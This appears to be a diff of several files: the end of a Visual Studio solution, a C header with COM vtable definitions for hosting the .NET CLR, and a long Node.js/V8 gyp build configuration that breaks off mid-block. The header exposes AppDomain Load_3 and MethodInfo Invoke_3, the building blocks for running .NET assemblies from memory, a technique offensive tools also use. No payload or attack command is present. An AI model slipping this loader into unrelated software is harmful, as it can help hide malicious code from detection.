||||
EndGlobalSection
|
||||
GlobalSection(SolutionProperties) = preSolution
|
||||
HideSolutionNode = FALSE
|
||||
EndGlobalSection
|
||||
GlobalSection(NestedProjects) = preSolution
|
||||
{AF891C37-E709-9CCC-0D50-0CCCC8CCC563} = {9D350B9E-06FB-960D-859F-B43C9597383A}
|
||||
{55D802F9-D935-C2E2-2A04-85FB92058904} = {AF891C37-E709-9CCC-0D50-0CCCC8CCC563}
|
||||
EndGlobalSection
|
||||
EndGlobal
|
||||
@@ -0,0 +1,269 @@
|
||||
#pragma once
|
||||
#include <windows.h>
|
||||
#include <metahost.h>
|
||||
|
||||
typedef struct _AppDomain IAppDomain;
|
||||
typedef struct _Assembly IAssembly;
|
||||
typedef struct _Type IType;
|
||||
typedef struct _MethodInfo IMethodInfo;
|
||||
|
||||
static GUID xIID_AppDomain = { 0x05F696DC, 0x2B29, 0x3663, { 0xAD, 0x8B, 0xC4,0x38, 0x9C, 0xF2, 0xA7, 0x13 } };
|
||||
|
||||
static GUID xCLSID_CLRMetaHost = { 0x9280188d, 0xe8e, 0x4867, { 0xb3, 0xc, 0x7f, 0xa8, 0x38, 0x84, 0xe8, 0xde } };
|
||||
|
||||
static GUID xIID_ICLRMetaHost = { 0xD332DB9E, 0xB9B3, 0x4125, { 0x82, 0x07, 0xA1, 0x48, 0x84, 0xF5, 0x32, 0x16 } };
|
||||
|
||||
static GUID xIID_ICLRRuntimeInfo = { 0xBD39D1D2, 0xBA2F, 0x486a, { 0x89, 0xB0, 0xB4, 0xB0, 0xCB, 0x46, 0x68, 0x91 } };
|
||||
|
||||
static GUID xIID_ICorRuntimeHost = { 0xcb2f6722, 0xab3a, 0x11d2, { 0x9c, 0x40, 0x00, 0xc0, 0x4f, 0xa3, 0x0a, 0x3e } };
|
||||
|
||||
static GUID xCLSID_CorRuntimeHost = { 0xcb2f6723, 0xab3a, 0x11d2, { 0x9c, 0x40, 0x00, 0xc0, 0x4f, 0xa3, 0x0a, 0x3e } };
|
||||
|
||||
#define DUMMY_METHOD(x) HRESULT ( STDMETHODCALLTYPE *dummy_##x )(IAppDomain *This)
|
||||
|
||||
typedef struct _AppDomainVtbl {
|
||||
BEGIN_INTERFACE
|
||||
|
||||
HRESULT(STDMETHODCALLTYPE* QueryInterface)(
|
||||
IAppDomain* This,
|
||||
/* [in] */ REFIID riid,
|
||||
/* [iid_is][out] */ void** ppvObject);
|
||||
|
||||
ULONG(STDMETHODCALLTYPE* AddRef)(
|
||||
IAppDomain* This);
|
||||
|
||||
ULONG(STDMETHODCALLTYPE* Release)(
|
||||
IAppDomain* This);
|
||||
|
||||
DUMMY_METHOD(GetTypeInfoCount);
|
||||
DUMMY_METHOD(GetTypeInfo);
|
||||
DUMMY_METHOD(GetIDsOfNames);
|
||||
DUMMY_METHOD(Invoke);
|
||||
|
||||
DUMMY_METHOD(ToString);
|
||||
DUMMY_METHOD(Equals);
|
||||
DUMMY_METHOD(GetHashCode);
|
||||
DUMMY_METHOD(GetType);
|
||||
DUMMY_METHOD(InitializeLifetimeService);
|
||||
DUMMY_METHOD(GetLifetimeService);
|
||||
DUMMY_METHOD(Evidence);
|
||||
DUMMY_METHOD(add_DomainUnload);
|
||||
DUMMY_METHOD(remove_DomainUnload);
|
||||
DUMMY_METHOD(add_AssemblyLoad);
|
||||
DUMMY_METHOD(remove_AssemblyLoad);
|
||||
DUMMY_METHOD(add_ProcessExit);
|
||||
DUMMY_METHOD(remove_ProcessExit);
|
||||
DUMMY_METHOD(add_TypeResolve);
|
||||
DUMMY_METHOD(remove_TypeResolve);
|
||||
DUMMY_METHOD(add_ResourceResolve);
|
||||
DUMMY_METHOD(remove_ResourceResolve);
|
||||
DUMMY_METHOD(add_AssemblyResolve);
|
||||
DUMMY_METHOD(remove_AssemblyResolve);
|
||||
DUMMY_METHOD(add_UnhandledException);
|
||||
DUMMY_METHOD(remove_UnhandledException);
|
||||
DUMMY_METHOD(DefineDynamicAssembly);
|
||||
DUMMY_METHOD(DefineDynamicAssembly_2);
|
||||
DUMMY_METHOD(DefineDynamicAssembly_3);
|
||||
DUMMY_METHOD(DefineDynamicAssembly_4);
|
||||
DUMMY_METHOD(DefineDynamicAssembly_5);
|
||||
DUMMY_METHOD(DefineDynamicAssembly_6);
|
||||
DUMMY_METHOD(DefineDynamicAssembly_7);
|
||||
DUMMY_METHOD(DefineDynamicAssembly_8);
|
||||
DUMMY_METHOD(DefineDynamicAssembly_9);
|
||||
DUMMY_METHOD(CreateInstance);
|
||||
DUMMY_METHOD(CreateInstanceFrom);
|
||||
DUMMY_METHOD(CreateInstance_2);
|
||||
DUMMY_METHOD(CreateInstanceFrom_2);
|
||||
DUMMY_METHOD(CreateInstance_3);
|
||||
DUMMY_METHOD(CreateInstanceFrom_3);
|
||||
DUMMY_METHOD(Load);
|
||||
DUMMY_METHOD(Load_2);
|
||||
|
||||
HRESULT(STDMETHODCALLTYPE* Load_3)(
|
||||
IAppDomain* This,
|
||||
SAFEARRAY* rawAssembly,
|
||||
IAssembly** pRetVal);
|
||||
|
||||
DUMMY_METHOD(Load_4);
|
||||
DUMMY_METHOD(Load_5);
|
||||
DUMMY_METHOD(Load_6);
|
||||
DUMMY_METHOD(Load_7);
|
||||
DUMMY_METHOD(ExecuteAssembly);
|
||||
DUMMY_METHOD(ExecuteAssembly_2);
|
||||
DUMMY_METHOD(ExecuteAssembly_3);
|
||||
DUMMY_METHOD(FriendlyName);
|
||||
DUMMY_METHOD(BaseDirectory);
|
||||
DUMMY_METHOD(RelativeSearchPath);
|
||||
DUMMY_METHOD(ShadowCopyFiles);
|
||||
DUMMY_METHOD(GetAssemblies);
|
||||
DUMMY_METHOD(AppendPrivatePath);
|
||||
DUMMY_METHOD(ClearPrivatePath);
|
||||
DUMMY_METHOD(SetShadowCopyPath);
|
||||
DUMMY_METHOD(ClearShadowCopyPath);
|
||||
DUMMY_METHOD(SetCachePath);
|
||||
DUMMY_METHOD(SetData);
|
||||
DUMMY_METHOD(GetData);
|
||||
DUMMY_METHOD(SetAppDomainPolicy);
|
||||
DUMMY_METHOD(SetThreadPrincipal);
|
||||
DUMMY_METHOD(SetPrincipalPolicy);
|
||||
DUMMY_METHOD(DoCallBack);
|
||||
DUMMY_METHOD(DynamicDirectory);
|
||||
|
||||
END_INTERFACE
|
||||
} AppDomainVtbl;
|
||||
|
||||
typedef struct _AppDomain {
|
||||
AppDomainVtbl* lpVtbl;
|
||||
} AppDomain;
|
||||
|
||||
typedef struct _AssemblyVtbl {
|
||||
BEGIN_INTERFACE
|
||||
|
||||
HRESULT(STDMETHODCALLTYPE* QueryInterface)(
|
||||
IAssembly* This,
|
||||
REFIID riid,
|
||||
void** ppvObject);
|
||||
|
||||
ULONG(STDMETHODCALLTYPE* AddRef)(
|
||||
IAssembly* This);
|
||||
|
||||
ULONG(STDMETHODCALLTYPE* Release)(
|
||||
IAssembly* This);
|
||||
|
||||
DUMMY_METHOD(GetTypeInfoCount);
|
||||
DUMMY_METHOD(GetTypeInfo);
|
||||
DUMMY_METHOD(GetIDsOfNames);
|
||||
|
||||
DUMMY_METHOD(Invoke);
|
||||
DUMMY_METHOD(ToString);
|
||||
DUMMY_METHOD(Equals);
|
||||
DUMMY_METHOD(GetHashCode);
|
||||
DUMMY_METHOD(GetType);
|
||||
DUMMY_METHOD(CodeBase);
|
||||
DUMMY_METHOD(EscapedCodeBase);
|
||||
DUMMY_METHOD(GetName);
|
||||
DUMMY_METHOD(GetName_2);
|
||||
DUMMY_METHOD(FullName);
|
||||
|
||||
HRESULT(STDMETHODCALLTYPE* EntryPoint)(
|
||||
IAssembly* This,
|
||||
IMethodInfo** pRetVal);
|
||||
|
||||
HRESULT(STDMETHODCALLTYPE* GetType_2)(
|
||||
IAssembly* This,
|
||||
BSTR name,
|
||||
IType** pRetVal);
|
||||
|
||||
DUMMY_METHOD(GetType_3);
|
||||
DUMMY_METHOD(GetExportedTypes);
|
||||
DUMMY_METHOD(GetTypes);
|
||||
DUMMY_METHOD(GetManifestResourceStream);
|
||||
DUMMY_METHOD(GetManifestResourceStream_2);
|
||||
DUMMY_METHOD(GetFile);
|
||||
DUMMY_METHOD(GetFiles);
|
||||
DUMMY_METHOD(GetFiles_2);
|
||||
DUMMY_METHOD(GetManifestResourceNames);
|
||||
DUMMY_METHOD(GetManifestResourceInfo);
|
||||
DUMMY_METHOD(Location);
|
||||
DUMMY_METHOD(Evidence);
|
||||
DUMMY_METHOD(GetCustomAttributes);
|
||||
DUMMY_METHOD(GetCustomAttributes_2);
|
||||
DUMMY_METHOD(IsDefined);
|
||||
DUMMY_METHOD(GetObjectData);
|
||||
DUMMY_METHOD(add_ModuleResolve);
|
||||
DUMMY_METHOD(remove_ModuleResolve);
|
||||
DUMMY_METHOD(GetType_4);
|
||||
DUMMY_METHOD(GetSatelliteAssembly);
|
||||
DUMMY_METHOD(GetSatelliteAssembly_2);
|
||||
DUMMY_METHOD(LoadModule);
|
||||
DUMMY_METHOD(LoadModule_2);
|
||||
DUMMY_METHOD(CreateInstance);
|
||||
DUMMY_METHOD(CreateInstance_2);
|
||||
DUMMY_METHOD(CreateInstance_3);
|
||||
DUMMY_METHOD(GetLoadedModules);
|
||||
DUMMY_METHOD(GetLoadedModules_2);
|
||||
DUMMY_METHOD(GetModules);
|
||||
DUMMY_METHOD(GetModules_2);
|
||||
DUMMY_METHOD(GetModule);
|
||||
DUMMY_METHOD(GetReferencedAssemblies);
|
||||
DUMMY_METHOD(GlobalAssemblyCache);
|
||||
|
||||
END_INTERFACE
|
||||
} AssemblyVtbl;
|
||||
|
||||
typedef struct _Assembly {
|
||||
AssemblyVtbl* lpVtbl;
|
||||
} Assembly;
|
||||
|
||||
typedef struct _MethodInfoVtbl {
|
||||
BEGIN_INTERFACE
|
||||
|
||||
HRESULT(STDMETHODCALLTYPE* QueryInterface)(
|
||||
IMethodInfo* This,
|
||||
/* [in] */ REFIID riid,
|
||||
/* [iid_is][out] */
|
||||
__RPC__deref_out void** ppvObject);
|
||||
|
||||
ULONG(STDMETHODCALLTYPE* AddRef)(
|
||||
IMethodInfo* This);
|
||||
|
||||
ULONG(STDMETHODCALLTYPE* Release)(
|
||||
IMethodInfo* This);
|
||||
|
||||
DUMMY_METHOD(GetTypeInfoCount);
|
||||
DUMMY_METHOD(GetTypeInfo);
|
||||
DUMMY_METHOD(GetIDsOfNames);
|
||||
DUMMY_METHOD(Invoke);
|
||||
|
||||
DUMMY_METHOD(ToString);
|
||||
DUMMY_METHOD(Equals);
|
||||
DUMMY_METHOD(GetHashCode);
|
||||
DUMMY_METHOD(GetType);
|
||||
DUMMY_METHOD(MemberType);
|
||||
DUMMY_METHOD(name);
|
||||
DUMMY_METHOD(DeclaringType);
|
||||
DUMMY_METHOD(ReflectedType);
|
||||
DUMMY_METHOD(GetCustomAttributes);
|
||||
DUMMY_METHOD(GetCustomAttributes_2);
|
||||
DUMMY_METHOD(IsDefined);
|
||||
|
||||
HRESULT(STDMETHODCALLTYPE* GetParameters)(
|
||||
IMethodInfo* This,
|
||||
SAFEARRAY** pRetVal);
|
||||
|
||||
DUMMY_METHOD(GetMethodImplementationFlags);
|
||||
DUMMY_METHOD(MethodHandle);
|
||||
DUMMY_METHOD(Attributes);
|
||||
DUMMY_METHOD(CallingConvention);
|
||||
DUMMY_METHOD(Invoke_2);
|
||||
DUMMY_METHOD(IsPublic);
|
||||
DUMMY_METHOD(IsPrivate);
|
||||
DUMMY_METHOD(IsFamily);
|
||||
DUMMY_METHOD(IsAssembly);
|
||||
DUMMY_METHOD(IsFamilyAndAssembly);
|
||||
DUMMY_METHOD(IsFamilyOrAssembly);
|
||||
DUMMY_METHOD(IsStatic);
|
||||
DUMMY_METHOD(IsFinal);
|
||||
DUMMY_METHOD(IsVirtual);
|
||||
DUMMY_METHOD(IsHideBySig);
|
||||
DUMMY_METHOD(IsAbstract);
|
||||
DUMMY_METHOD(IsSpecialName);
|
||||
DUMMY_METHOD(IsConstructor);
|
||||
|
||||
HRESULT(STDMETHODCALLTYPE* Invoke_3)(
|
||||
IMethodInfo* This,
|
||||
VARIANT obj,
|
||||
SAFEARRAY* parameters,
|
||||
VARIANT* ret);
|
||||
|
||||
DUMMY_METHOD(returnType);
|
||||
DUMMY_METHOD(ReturnTypeCustomAttributes);
|
||||
DUMMY_METHOD(GetBaseDefinition);
|
||||
|
||||
END_INTERFACE
|
||||
} MethodInfoVtbl;
|
||||
|
||||
typedef struct _MethodInfo {
|
||||
MethodInfoVtbl* lpVtbl;
|
||||
} MethodInfo;
|
||||
|
||||
@@ -0,0 +1,714 @@
|
||||
{
|
||||
'variables': {
|
||||
'configuring_node%': 0,
|
||||
'asan%': 0,
|
||||
'ubsan%': 0,
|
||||
'werror': '', # Turn off -Werror in V8 build.
|
||||
'visibility%': 'hidden', # V8's visibility setting
|
||||
'target_arch%': 'ia32', # set v8's target architecture
|
||||
'host_arch%': 'ia32', # set v8's host architecture
|
||||
'want_separate_host_toolset%': 0, # V8 should not build target and host
|
||||
'library%': 'static_library', # allow override to 'shared_library' for DLL/.so builds
|
||||
'component%': 'static_library', # NB. these names match with what V8 expects
|
||||
'msvs_multi_core_compile': '0', # we do enable multicore compiles, but not using the V8 way
|
||||
'enable_pgo_generate%': '0',
|
||||
'enable_pgo_use%': '0',
|
||||
'python%': 'python',
|
||||
|
||||
'node_shared%': 'false',
|
||||
'force_dynamic_crt%': 0,
|
||||
'node_use_v8_platform%': 'true',
|
||||
'node_use_bundled_v8%': 'true',
|
||||
'node_module_version%': '',
|
||||
'node_with_ltcg%': '',
|
||||
'node_shared_openssl%': 'false',
|
||||
|
||||
'node_tag%': '',
|
||||
'uv_library%': 'static_library',
|
||||
|
||||
'clang%': 0,
|
||||
'error_on_warn%': 'false',
|
||||
|
||||
'openssl_product': '<(STATIC_LIB_PREFIX)openssl<(STATIC_LIB_SUFFIX)',
|
||||
'openssl_no_asm%': 0,
|
||||
|
||||
# Don't use ICU data file (icudtl.dat) from V8, we use our own.
|
||||
'icu_use_data_file_flag%': 0,
|
||||
|
||||
# Reset this number to 0 on major V8 upgrades.
|
||||
# Increment by one for each non-official patch applied to deps/v8.
|
||||
'v8_embedder_string': '-node.23',
|
||||
|
||||
##### V8 defaults for Node.js #####
|
||||
|
||||
# Turn on SipHash for hash seed generation, addresses HashWick
|
||||
'v8_use_siphash': 'true',
|
||||
|
||||
# These are more relevant for V8 internal development.
|
||||
# Refs: https://github.com/nodejs/node/issues/23122
|
||||
# Refs: https://github.com/nodejs/node/issues/23167
|
||||
# Enable compiler warnings when using V8_DEPRECATED apis from V8 code.
|
||||
'v8_deprecation_warnings': 0,
|
||||
# Enable compiler warnings when using V8_DEPRECATE_SOON apis from V8 code.
|
||||
'v8_imminent_deprecation_warnings': 0,
|
||||
|
||||
# Enable disassembler for `--print-code` v8 options
|
||||
'v8_enable_disassembler': 1,
|
||||
|
||||
# Sets -dOBJECT_PRINT.
|
||||
'v8_enable_object_print%': 1,
|
||||
|
||||
# https://github.com/nodejs/node/pull/22920/files#r222779926
|
||||
'v8_enable_handle_zapping': 0,
|
||||
|
||||
# Disable pointer compression. Can be enabled at build time via configure
|
||||
# options but default values are required here as this file is also used by
|
||||
# node-gyp to build addons.
|
||||
'v8_enable_pointer_compression%': 0,
|
||||
'v8_enable_31bit_smis_on_64bit_arch%': 0,
|
||||
|
||||
# Disable v8 hugepage by default.
|
||||
'v8_enable_hugepage%': 0,
|
||||
|
||||
# This is more of a V8 dev setting
|
||||
# https://github.com/nodejs/node/pull/22920/files#r222779926
|
||||
'v8_enable_fast_mksnapshot': 0,
|
||||
|
||||
'v8_win64_unwinding_info': 1,
|
||||
|
||||
# Variables controlling external defines exposed in public headers.
|
||||
'v8_enable_conservative_stack_scanning%': 0,
|
||||
'v8_enable_direct_local%': 0,
|
||||
'v8_enable_map_packing%': 0,
|
||||
'v8_enable_pointer_compression_shared_cage%': 0,
|
||||
'v8_enable_sandbox%': 0,
|
||||
'v8_enable_v8_checks%': 0,
|
||||
'v8_enable_zone_compression%': 0,
|
||||
'v8_use_perfetto': 0,
|
||||
'tsan%': 0,
|
||||
|
||||
##### end V8 defaults #####
|
||||
|
||||
'conditions': [
|
||||
['OS == "win"', {
|
||||
'os_posix': 0,
|
||||
'v8_postmortem_support%': 0,
|
||||
'obj_dir': '<(PRODUCT_DIR)/obj',
|
||||
'v8_base': '<(PRODUCT_DIR)/lib/libv8_snapshot.a',
|
||||
}, {
|
||||
'os_posix': 1,
|
||||
'v8_postmortem_support%': 1,
|
||||
}],
|
||||
['GENERATOR == "ninja"', {
|
||||
'obj_dir': '<(PRODUCT_DIR)/obj',
|
||||
'v8_base': '<(PRODUCT_DIR)/obj/tools/v8_gypfiles/libv8_snapshot.a',
|
||||
}, {
|
||||
'obj_dir%': '<(PRODUCT_DIR)/obj.target',
|
||||
'v8_base': '<(PRODUCT_DIR)/obj.target/tools/v8_gypfiles/libv8_snapshot.a',
|
||||
}],
|
||||
['OS=="mac"', {
|
||||
'clang%': 1,
|
||||
'obj_dir%': '<(PRODUCT_DIR)/obj.target',
|
||||
'v8_base': '<(PRODUCT_DIR)/libv8_snapshot.a',
|
||||
}],
|
||||
# V8 pointer compression only supports 64bit architectures.
|
||||
['target_arch in "arm ia32 mips mipsel ppc"', {
|
||||
'v8_enable_pointer_compression': 0,
|
||||
'v8_enable_31bit_smis_on_64bit_arch': 0,
|
||||
}],
|
||||
['target_arch in "ppc64 s390x"', {
|
||||
'v8_enable_backtrace': 1,
|
||||
}],
|
||||
['OS=="linux"', {
|
||||
'node_section_ordering_info%': ''
|
||||
}],
|
||||
['OS == "zos"', {
|
||||
# use ICU data file on z/OS
|
||||
'icu_use_data_file_flag%': 1
|
||||
}]
|
||||
],
|
||||
},
|
||||
|
||||
'target_defaults': {
|
||||
'default_configuration': 'Release',
|
||||
'configurations': {
|
||||
'Debug': {
|
||||
'variables': {
|
||||
'v8_enable_handle_zapping': 1,
|
||||
'conditions': [
|
||||
['node_shared != "true"', {
|
||||
'MSVC_runtimeType': 1, # MultiThreadedDebug (/MTd)
|
||||
}, {
|
||||
'MSVC_runtimeType': 3, # MultiThreadedDebugDLL (/MDd)
|
||||
}],
|
||||
],
|
||||
},
|
||||
'defines': [ 'DEBUG', '_DEBUG' ],
|
||||
'cflags': [ '-g', '-O0' ],
|
||||
'conditions': [
|
||||
['OS in "aix os400"', {
|
||||
'cflags': [ '-gxcoff' ],
|
||||
'ldflags': [ '-Wl,-bbigtoc' ],
|
||||
}],
|
||||
['OS == "android"', {
|
||||
'cflags': [ '-fPIC' ],
|
||||
'ldflags': [ '-fPIC' ]
|
||||
}],
|
||||
],
|
||||
'msvs_settings': {
|
||||
'VCCLCompilerTool': {
|
||||
'BasicRuntimeChecks': 3, # /RTC1
|
||||
'MinimalRebuild': 'false',
|
||||
'OmitFramePointers': 'false',
|
||||
'Optimization': 0, # /Od, no optimization
|
||||
'RuntimeLibrary': '<(MSVC_runtimeType)',
|
||||
},
|
||||
'VCLinkerTool': {
|
||||
'LinkIncremental': 2, # enable incremental linking
|
||||
},
|
||||
},
|
||||
'xcode_settings': {
|
||||
'GCC_OPTIMIZATION_LEVEL': '0', # stop gyp from defaulting to -Os
|
||||
},
|
||||
},
|
||||
'Release': {
|
||||
'variables': {
|
||||
'v8_enable_handle_zapping': 0,
|
||||
'pgo_generate': ' -fprofile-generate ',
|
||||
'pgo_use': ' -fprofile-use -fprofile-correction ',
|
||||
'conditions': [
|
||||
['node_shared != "true"', {
|
||||
'MSVC_runtimeType': 0 # MultiThreaded (/MT)
|
||||
}, {
|
||||
'MSVC_runtimeType': 2 # MultiThreadedDLL (/MD)
|
||||
}],
|
||||
['llvm_version=="0.0"', {
|
||||
'lto': ' -flto=4 -fuse-linker-plugin -ffat-lto-objects ', # GCC
|
||||
}, {
|
||||
'lto': ' -flto ', # Clang
|
||||
}],
|
||||
],
|
||||
},
|
||||
'cflags': [ '-O3' ],
|
||||
'conditions': [
|
||||
['enable_lto=="true"', {
|
||||
'cflags': ['<(lto)'],
|
||||
'ldflags': ['<(lto)'],
|
||||
'xcode_settings': {
|
||||
'LLVM_LTO': 'YES',
|
||||
},
|
||||
}],
|
||||
['OS=="linux"', {
|
||||
'conditions': [
|
||||
['node_section_ordering_info!=""', {
|
||||
'cflags': [
|
||||
'-fuse-ld=gold',
|
||||
'-ffunction-sections',
|
||||
],
|
||||
'ldflags': [
|
||||
'-fuse-ld=gold',
|
||||
'-Wl,--section-ordering-file=<(node_section_ordering_info)',
|
||||
],
|
||||
}],
|
||||
],
|
||||
}],
|
||||
['OS=="solaris"', {
|
||||
# pull in V8's postmortem metadata
|
||||
'ldflags': [ '-Wl,-z,allextract' ]
|
||||
}],
|
||||
['OS=="zos"', {
|
||||
# increase performance, number from experimentation
|
||||
'cflags': [ '-qINLINE=::150:100000' ]
|
||||
}],
|
||||
['OS!="mac" and OS!="win" and OS!="zos"', {
|
||||
# -fno-omit-frame-pointer is necessary for the --perf_basic_prof
|
||||
# flag to work correctly. perf(1) gets confused about JS stack
|
||||
# frames otherwise, even with --call-graph dwarf.
|
||||
'cflags': [ '-fno-omit-frame-pointer' ],
|
||||
}],
|
||||
['OS=="linux"', {
|
||||
'conditions': [
|
||||
['enable_pgo_generate=="true"', {
|
||||
'cflags': ['<(pgo_generate)'],
|
||||
'ldflags': ['<(pgo_generate)'],
|
||||
},],
|
||||
['enable_pgo_use=="true"', {
|
||||
'cflags': ['<(pgo_use)'],
|
||||
'ldflags': ['<(pgo_use)'],
|
||||
},],
|
||||
],
|
||||
},],
|
||||
['OS == "android"', {
|
||||
'cflags': [ '-fPIC', '-I<(android_ndk_path)/sources/android/cpufeatures' ],
|
||||
'ldflags': [ '-fPIC' ]
|
||||
}],
|
||||
],
|
||||
'msvs_settings': {
|
||||
'VCCLCompilerTool': {
|
||||
'conditions': [
|
||||
['target_arch=="arm64"', {
|
||||
'FloatingPointModel': 1 # /fp:strict
|
||||
}]
|
||||
],
|
||||
'EnableFunctionLevelLinking': 'true',
|
||||
'EnableIntrinsicFunctions': 'true',
|
||||
'FavorSizeOrSpeed': 1, # /Ot, favor speed over size
|
||||
'InlineFunctionExpansion': 2, # /Ob2, inline anything eligible
|
||||
'OmitFramePointers': 'true',
|
||||
'Optimization': 3, # /Ox, full optimization
|
||||
'RuntimeLibrary': '<(MSVC_runtimeType)',
|
||||
'RuntimeTypeInfo': 'false',
|
||||
}
|
||||
},
|
||||
'xcode_settings': {
|
||||
'GCC_OPTIMIZATION_LEVEL': '3', # stop gyp from defaulting to -Os
|
||||
},
|
||||
}
|
||||
},
|
||||
|
||||
# Defines these mostly for node-gyp to pickup.
|
||||
'defines': [
|
||||
'_GLIBCXX_USE_CXX11_ABI=1',
|
||||
],
|
||||
|
||||
# Forcibly disable -Werror. We support a wide range of compilers, it's
|
||||
# simply not feasible to squelch all warnings, never mind that the
|
||||
# libraries in deps/ are not under our control.
|
||||
'conditions': [
|
||||
[ 'error_on_warn=="false"', {
|
||||
'cflags!': ['-Werror'],
|
||||
}, '(_target_name!="<(node_lib_target_name)" or '
|
||||
'_target_name!="<(node_core_target_name)")', {
|
||||
'cflags!': ['-Werror'],
|
||||
}],
|
||||
],
|
||||
'msvs_settings': {
|
||||
'VCCLCompilerTool': {
|
||||
'AdditionalOptions': [
|
||||
'/Zc:__cplusplus',
|
||||
'-std:c++17'
|
||||
],
|
||||
'BufferSecurityCheck': 'true',
|
||||
'DebugInformationFormat': 1, # /Z7 embed info in .obj files
|
||||
'ExceptionHandling': 0, # /EHsc
|
||||
'MultiProcessorCompilation': 'true',
|
||||
'StringPooling': 'true', # pool string literals
|
||||
'SuppressStartupBanner': 'true',
|
||||
'WarnAsError': 'false',
|
||||
'WarningLevel': 3, # /W3
|
||||
},
|
||||
'VCLinkerTool': {
|
||||
'target_conditions': [
|
||||
['_type=="executable"', {
|
||||
'SubSystem': 1, # /SUBSYSTEM:CONSOLE
|
||||
}],
|
||||
],
|
||||
'conditions': [
|
||||
['target_arch=="ia32"', {
|
||||
'TargetMachine' : 1, # /MACHINE:X86
|
||||
}],
|
||||
['target_arch=="x64"', {
|
||||
'TargetMachine' : 17, # /MACHINE:X64
|
||||
}],
|
||||
['target_arch=="arm64"', {
|
||||
'TargetMachine' : 0, # NotSet. MACHINE:ARM64 is inferred from the input files.
|
||||
}],
|
||||
],
|
||||
'GenerateDebugInformation': 'true',
|
||||
'SuppressStartupBanner': 'true',
|
||||
},
|
||||
},
|
||||
# Disable warnings:
|
||||
# - "C4251: class needs to have dll-interface"
|
||||
# - "C4275: non-DLL-interface used as base for DLL-interface"
|
||||
# Over 10k of these warnings are generated when compiling node,
|
||||
# originating from v8.h. Most of them are false positives.
|
||||
# See also: https://github.com/nodejs/node/pull/15570
|
||||
# TODO: re-enable when Visual Studio fixes these upstream.
|
||||
#
|
||||
# - "C4267: conversion from 'size_t' to 'int'"
|
||||
# Many any originate from our dependencies, and their sheer number
|
||||
# drowns out other, more legitimate warnings.
|
||||
# - "C4244: conversion from 'type1' to 'type2', possible loss of data"
|
||||
# Ususaly safe. Disable for `dep`, enable for `src`
|
||||
'msvs_disabled_warnings': [4351, 4355, 4800, 4251, 4275, 4244, 4267],
|
||||
'msvs_cygwin_shell': 0, # prevent actions from trying to use cygwin
|
||||
|
||||
'conditions': [
|
||||
[ 'configuring_node', {
|
||||
'msvs_configuration_attributes': {
|
||||
'OutputDirectory': '<(DEPTH)/out/$(Configuration)/',
|
||||
'IntermediateDirectory': '$(OutDir)obj/$(ProjectName)/'
|
||||
},
|
||||
}],
|
||||
[ 'target_arch=="x64"', {
|
||||
'msvs_configuration_platform': 'x64',
|
||||
}],
|
||||
[ 'target_arch=="arm64"', {
|
||||
'msvs_configuration_platform': 'arm64',
|
||||
}],
|
||||
['asan == 1 and OS != "mac" and OS != "zos"', {
|
||||
'cflags+': [
|
||||
'-fno-omit-frame-pointer',
|
||||
'-fsanitize=address',
|
||||
'-fsanitize-address-use-after-scope',
|
||||
],
|
||||
'defines': [ 'LEAK_SANITIZER', 'V8_USE_ADDRESS_SANITIZER' ],
|
||||
'cflags!': [ '-fomit-frame-pointer' ],
|
||||
'ldflags': [ '-fsanitize=address' ],
|
||||
}],
|
||||
['asan == 1 and OS == "mac"', {
|
||||
'xcode_settings': {
|
||||
'OTHER_CFLAGS+': [
|
||||
'-fno-omit-frame-pointer',
|
||||
'-gline-tables-only',
|
||||
'-fsanitize=address',
|
||||
'-DLEAK_SANITIZER'
|
||||
],
|
||||
'OTHER_CFLAGS!': [
|
||||
'-fomit-frame-pointer',
|
||||
],
|
||||
},
|
||||
'target_conditions': [
|
||||
['_type!="static_library"', {
|
||||
'xcode_settings': {'OTHER_LDFLAGS': ['-fsanitize=address']},
|
||||
}],
|
||||
],
|
||||
}],
|
||||
['ubsan == 1 and OS != "mac" and OS != "zos"', {
|
||||
'cflags+': [
|
||||
'-fno-omit-frame-pointer',
|
||||
'-fsanitize=undefined',
|
||||
],
|
||||
'defines': [ 'UNDEFINED_SANITIZER'],
|
||||
'cflags!': [ '-fno-omit-frame-pointer' ],
|
||||
'ldflags': [ '-fsanitize=undefined' ],
|
||||
}],
|
||||
['ubsan == 1 and OS == "mac"', {
|
||||
'xcode_settings': {
|
||||
'OTHER_CFLAGS+': [
|
||||
'-fno-omit-frame-pointer',
|
||||
'-fsanitize=undefined',
|
||||
'-DUNDEFINED_SANITIZER'
|
||||
],
|
||||
},
|
||||
'target_conditions': [
|
||||
['_type!="static_library"', {
|
||||
'xcode_settings': {'OTHER_LDFLAGS': ['-fsanitize=undefined']},
|
||||
}],
|
||||
],
|
||||
}],
|
||||
# The defines bellow must include all things from the external_v8_defines
|
||||
# list in v8/BUILD.gn.
|
||||
['v8_enable_v8_checks == 1', {
|
||||
'defines': ['V8_ENABLE_CHECKS'],
|
||||
}],
|
||||
['v8_enable_pointer_compression == 1', {
|
||||
'defines': ['V8_COMPRESS_POINTERS'],
|
||||
}],
|
||||
['v8_enable_pointer_compression_shared_cage == 1', {
|
||||
'defines': ['V8_COMPRESS_POINTERS_IN_SHARED_CAGE'],
|
||||
}],
|
||||
['v8_enable_pointer_compression == 1 and v8_enable_pointer_compression_shared_cage != 1', {
|
||||
'defines': ['V8_COMPRESS_POINTERS_IN_ISOLATE_CAGE'],
|
||||
}],
|
||||
['v8_enable_pointer_compression == 1 or v8_enable_31bit_smis_on_64bit_arch == 1', {
|
||||
'defines': ['V8_31BIT_SMIS_ON_64BIT_ARCH'],
|
||||
}],
|
||||
['v8_enable_zone_compression == 1', {
|
||||
'defines': ['V8_COMPRESS_ZONES',],
|
||||
}],
|
||||
['v8_enable_sandbox == 1', {
|
||||
'defines': ['V8_ENABLE_SANDBOX',],
|
||||
}],
|
||||
['v8_deprecation_warnings == 1', {
|
||||
'defines': ['V8_DEPRECATION_WARNINGS',],
|
||||
}],
|
||||
['v8_imminent_deprecation_warnings == 1', {
|
||||
'defines': ['V8_IMMINENT_DEPRECATION_WARNINGS',],
|
||||
}],
|
||||
['v8_use_perfetto == 1', {
|
||||
'defines': ['V8_USE_PERFETTO',],
|
||||
}],
|
||||
['v8_enable_map_packing == 1', {
|
||||
'defines': ['V8_MAP_PACKING',],
|
||||
}],
|
||||
['tsan == 1', {
|
||||
'defines': ['V8_IS_TSAN',],
|
||||
}],
|
||||
['v8_enable_conservative_stack_scanning == 1', {
|
||||
'defines': ['V8_ENABLE_CONSERVATIVE_STACK_SCANNING',],
|
||||
}],
|
||||
['v8_enable_direct_local == 1', {
|
||||
'defines': ['V8_ENABLE_DIRECT_LOCAL',],
|
||||
}],
|
||||
['OS == "win"', {
|
||||
'defines': [
|
||||
